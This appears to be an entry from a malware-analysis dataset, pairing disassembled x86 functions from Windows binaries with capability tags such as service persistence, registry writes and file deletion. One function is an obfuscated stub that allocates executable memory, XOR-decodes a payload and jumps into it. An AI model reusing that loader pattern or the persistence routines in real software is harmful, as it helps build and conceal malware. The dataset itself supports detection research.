joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012043
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.1000c789
xor ebx, ebx
cmp dword [0x1001db04], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x10012119
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x100121f9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x100121f9
push eax
call fcn.1000c71b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001db04], eax
call esi
push eax
call fcn.1000c71b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001db08], eax
call esi
push eax
call fcn.1000c71b
mov dword [0x1001db0c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.1000ed4f
test eax, eax
pop ecx
pop ecx
je 0x100120e7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000b997
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x10012119
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1000c71b
cmp eax, ebx
pop ecx
mov dword [0x1001db14], eax
je 0x10012119
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000c71b
pop ecx
mov dword [0x1001db10], eax
mov eax, dword [0x1001db10]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x1001219e
cmp dword [0x1001db14], ecx
je 0x1001219e
push eax
call fcn.1000c792
push dword [0x1001db14]
mov esi, eax
call fcn.1000c792
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x1001219e
cmp edi, ebx
je 0x1001219e
call esi
cmp eax, ebx
je 0x1001216b
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001216b
test byte [ebp - 0x18], 1
jne 0x1001219e
lea eax, [ebp - 0x10]
push eax
call fcn.1000ed86
test eax, eax
pop ecx
je 0x10012186
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000b997
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x10012195
or dword [ebp + 0x10], 0x200000
jmp 0x100121d9
or dword [ebp + 0x10], 0x40000
jmp 0x100121d9
mov eax, dword [0x1001db08]
cmp eax, dword [ebp - 8]
je 0x100121d9
push eax
call fcn.1000c792
cmp eax, ebx
pop ecx
je 0x100121d9
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x100121d9
mov eax, dword [0x1001db0c]
cmp eax, dword [ebp - 8]
je 0x100121d9
push eax
call fcn.1000c792
cmp eax, ebx
pop ecx
je 0x100121d9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001db04]
call fcn.1000c792
cmp eax, ebx
pop ecx
je 0x100121f9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100121fb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10013502
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022df0]
jne 0x1001350c
repz ret
jmp fcn.10013cd3

Function at 0x10013990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1001399f
pop dword [ebp - 0x30]
mov eax, 0x890040ea
add eax, 0x8700f8b5
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x96440b90
add dword [ebp - 0x40], 0xb80e39bb
mov dword [ebp - 0x3c], 0x1e9273cb
add dword [ebp - 0x3c], 0x13a0d87a
mov dword [ebp - 0x38], 0xd63195ab
add dword [ebp - 0x38], 0x761aae83
mov dword [ebp - 0x34], 0xc3314c30
sub dword [ebp - 0x34], 0xc3314c30
lea eax, [ebp - 0x40]
push eax
mov eax, 0xa0c83ce0
add eax, 0x6f393444
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xb4216c0d
sub dword [ebp - 0x40], 0x3faf02b7
mov dword [ebp - 0x3c], 0x258a30b4
sub dword [ebp - 0x3c], 0xe41dcf3f
mov dword [ebp - 0x38], 0x85a2b796
sub dword [ebp - 0x38], 0x22334b2a
mov dword [ebp - 0x34], 0x28459d88
sub dword [ebp - 0x34], 0x28459d88
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xaafcc1ca
add eax, 0x6504af5e
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3c42f
push 0
call eax
mov ecx, 0x7c939816
add ecx, 0x836cbf4a
mov esi, eax
mov edi, 0x7b5d0abd
add edi, 0x94a5cb43
add edi, dword [ebp - 0x30]
mov ebx, 0xf31ff900
add ebx, 0xd1a24f74
xor dword [ebp - 4], edx
mov edx, dword [edi]
xor dword [ebp - 0x20], 0x7bdac7c0
xor edx, ebx
add dword [ebp - 0x20], esi
mov dword [esi], edx
mov dword [ebp - 0x20], 0x1cd7e697
add esi, 0x8603766e
add esi, 0x79fc8996
add edi, 0xfe6b3868
sub edi, 0xfe6b3864
loop 0x10013ac1
add eax, 0x19208364
sub eax, 0x191f3311
mov ebx, eax
add eax, 0x9355280c
sub eax, 0x93552807
mov ecx, 0xce2c8f9
add ecx, 0x31d3707
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x402db0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6c38
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x50545c]
xor eax, ebp
mov dword [ebp - 0x20], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x258], ecx
xor eax, eax
mov word [ebp - 0x22c], ax
push 0x206
push 0
lea ecx, [ebp - 0x22a]
push ecx
call fcn.004931a0
add esp, 0xc
push str.385135
lea ecx, [ebp - 0x18]
call fcn.00412290
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 4
lea edx, [ebp - 0x14]
push edx
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetServicesFileLockInstancesFileLockTopInstance
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402e6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteFilelockAltitudeRegValue_RegOpenKeyEx_Fail__LastError___d_.
mov eax, dword [ebp - 0x258]
push eax
call fcn.00401a70
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004129d0
jmp 0x402eea
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x22c]
push edx
call fcn.00493a44
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0x250]
shl edx, 1
push edx
lea eax, [ebp - 0x22c]
push eax
push 1
push 0
push str.Altitude
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402ed1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteFilelockAltitudeRegValue_RegSetValueEx_Fail__LastError___d_.
mov edx, dword [ebp - 0x258]
push edx
call fcn.00401a70
add esp, 0xc
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004129d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.0049318c
mov esp, ebp
pop ebp
ret
Function at 0x402f10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerPower
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402f5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DisabledHiberboote_RegOpenKeyEx_Fail__LastError___d_.
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401a70
add esp, 0xc
jmp 0x402fa2
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.HiberbootEnabled
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402f98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DisabledHiberboot_RegSetValueEx_Fail__LastError___d_.
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401a70
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402fb0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6c70
mov eax, dword fs:[0]
push eax
sub esp, 0x8c4
mov eax, dword [0x50545c]
xor eax, ebp
mov dword [ebp - 0x28], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8d0], ecx
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push 0
push str.Environment
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x403013
xor eax, eax
jmp 0x4031af
xor ecx, ecx
mov word [ebp - 0x82c], cx
push 0x7fe
push 0
lea edx, [ebp - 0x82a]
push edx
call fcn.004931a0
add esp, 0xc
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], 0x800
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x82c]
push ecx
lea edx, [ebp - 0x10]
push edx
push 0
push str.path
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x82c]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00412290
mov dword [ebp - 4], 0
lea edx, [ebp - 0x82c]
push edx
lea ecx, [ebp - 0x14]
call fcn.00412290
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.0040eee0
push 0
push str.cdg_client
lea ecx, [ebp - 0x14]
call fcn.0040ee60
cmp eax, 0xffffffff
je 0x403166
push 0
push str._bin
lea ecx, [ebp - 0x14]
call fcn.0040ee60
cmp eax, 0xffffffff
je 0x403166
push 0
push str.cdg_client
lea ecx, [ebp - 0x1c]
call fcn.0040e930
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x8b8], ecx
mov edx, dword [ebp - 0x8b8]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040f490
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push str.path
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x403166
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x830], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
sub ecx, 0x10
mov dword [ebp - 0x8c0], ecx
mov ecx, dword [ebp - 0x8c0]
call fcn.004029d0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x1c]
sub edx, 0x10
mov dword [ebp - 0x8c4], edx
mov ecx, dword [ebp - 0x8c4]
call fcn.004029d0
mov eax, dword [ebp - 0x830]
jmp 0x4031af
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Environment
push 0
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x834], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.004129d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004129d0
mov eax, dword [ebp - 0x834]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.0049318c
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Delete file
Delete registry key
Move file
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
call fcn.0042f6d0
test eax, eax
je 0x40321a
push str.ProcessCtrl64.sys
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0040f270
add esp, 0xc
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
push 4
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 4]
call fcn.004129d0
jmp 0x403250
push str.ProcessCtrl.sys
mov edx, dword [ebp - 0x24]
push edx
lea eax, [ebp - 8]
push eax
call fcn.0040f270
add esp, 0xc
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov dword [ebp - 0x1c], edx
push 4
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 8]
call fcn.004129d0
push str.SYSTEMCurrentControlSet_servicesProcessCtrl
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push str._Update_:_ProcessCtrlUnstall_is_done.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esp, ebp
pop ebp
ret

Function at 0x403270
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], str.ProcessCtrl
mov dword [ebp - 8], 0
push str.ProcessCtrl.sys
mov eax, dword [ebp - 0x240]
push eax
lea ecx, [ebp - 0x234]
push ecx
call fcn.0040f270
add esp, 0xc
mov dword [ebp - 0x238], eax
mov edx, dword [ebp - 0x238]
mov eax, dword [edx]
mov dword [ebp - 0x230], eax
lea ecx, [ebp - 0x234]
call fcn.004129d0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x4032fa
xor eax, eax
jmp 0x40337f
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x230]
push ecx
push 1
push 2
push 1
push 0xf01ff
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403350
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403347
jmp 0x403365
mov dword [ebp - 0x14], 0
jmp 0x403365
mov dword [ebp - 0x14], 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jne 0x4032fa
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x403390
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6cc8
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x50545c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x78], ecx
mov dword [ebp - 4], 0
call fcn.0044fb81
push eax
lea ecx, [ebp - 0x1c]
call fcn.00412940
mov byte [ebp - 4], 1
mov dword [ebp - 0x24], 0
call fcn.0044fb81
push eax
lea ecx, [ebp - 0x18]
call fcn.00412940
mov byte [ebp - 4], 2
mov eax, str.C:Program_FilesEsafeNetCobra_DocGuard_Client_
test eax, eax
jne 0x4033fc
mov dword [ebp - 0x30], 0
jmp 0x40340c
push str.C:Program_FilesEsafeNetCobra_DocGuard_Client_
call fcn.004939fc
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
push str.C:Program_FilesEsafeNetCobra_DocGuard_Client_
lea ecx, [ebp - 0x1c]
call fcn.00412d00
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x20]
push ecx
call fcn.0040f190
add esp, 0xc
mov byte [ebp - 4], 3
push str._bak
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x10]
push eax
call fcn.0040f270
add esp, 0xc
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4034fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x24]
push edx
push str.CConcisePatch::EstDeleteFile_MoveFile_err_is__d
lea eax, [ebp - 0x18]
push eax
call fcn.00413630
add esp, 0xc
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call fcn.00401a70
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004129d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.004129d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004129d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004129d0
mov eax, dword [ebp - 0x28]
jmp 0x403591
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x2c], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.004129d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.004129d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004129d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004129d0
mov eax, dword [ebp - 0x2c]
jmp 0x403591
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4035b0
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6cf8
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x50545c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4c], ecx
push str.estdel
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.0040f270
add esp, 0xc
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x40365e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
push str.UpdateDrivers_Rename_file_failed:__s______s___d_
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00401a70
add esp, 0x14
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov eax, dword [ebp - 0x14]
jmp 0x40375f
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov dword [ebp - 0x34], eax
push 0
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4036da
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.UpdateDrivers_Copy_file_failed:__s______s___d_
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00401a70
add esp, 0x14
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov eax, dword [ebp - 0x18]
jmp 0x40375f
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
push 4
push 0
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x403729
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x10]
push edx
push str.UpdateDrivers_RebootDel__Delete_file_failed:__s___d_
mov eax, dword [ebp - 0x4c]
push eax
call fcn.00401a70
add esp, 0x10
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov eax, dword [ebp - 0x1c]
jmp 0x40375f
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.UpdateDrivers_Copy_file_succeed:__s______s
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00401a70
add esp, 0x10
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x409740
Capabilities:
Check if file exists
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c73f0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x50545c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push str.CUpdatePatchApp::ClearnOld38Files__________________enter
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00401a70
add esp, 8
push str.CDGRegedit64.exe
mov ecx, dword [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.0040f270
add esp, 0xc
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401a70
add esp, 8
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4097e2
push str.DeleteFile__________________4
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401a70
add esp, 8
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 4
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push str.CDGRegedit320.exe
mov ecx, dword [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x14]
push edx
call fcn.0040f270
add esp, 0xc
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401a70
add esp, 8
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409848
push str.DeleteFile__________________5.
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401a70
add esp, 8
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 4
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push str.CUpdatePatchApp::ClearnOld38Files__________________end
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401a70
add esp, 8
mov dword [ebp - 0x18], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.004129d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x409f40
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c74f8
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x50545c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x78], ecx
push str.C:Program_FilesEsafeNetCobra_DocGuard_ClientFileLock.dll
lea ecx, [ebp - 0x14]
call fcn.00412290
mov dword [ebp - 4], 0
push str.C:Program_FilesEsafeNetCobra_DocGuard_ClientEstDeskTopFileLock.dll
lea ecx, [ebp - 0x10]
call fcn.00412290
mov byte [ebp - 4], 1
push str.C:Program_FilesEsafeNetCobra_DocGuard_ClientFileLock64.dll
lea ecx, [ebp - 0x1c]
call fcn.00412290
mov byte [ebp - 4], 2
push str.C:Program_FilesEsafeNetCobra_DocGuard_ClientEstDeskTopFileLock64.dll
lea ecx, [ebp - 0x18]
call fcn.00412290
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x60], eax
push 0
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], eax
push 0
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x18]
call fcn.004129d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1c]
call fcn.004129d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.004129d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004129d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40d630
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push str.SYSTEMCurrentControlSetServicesFileLock
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40d679
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push 0
push str.update
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
push str.DoUpdate_Call_SetUpdateKey_Return_Value__d__
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00401a70
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 4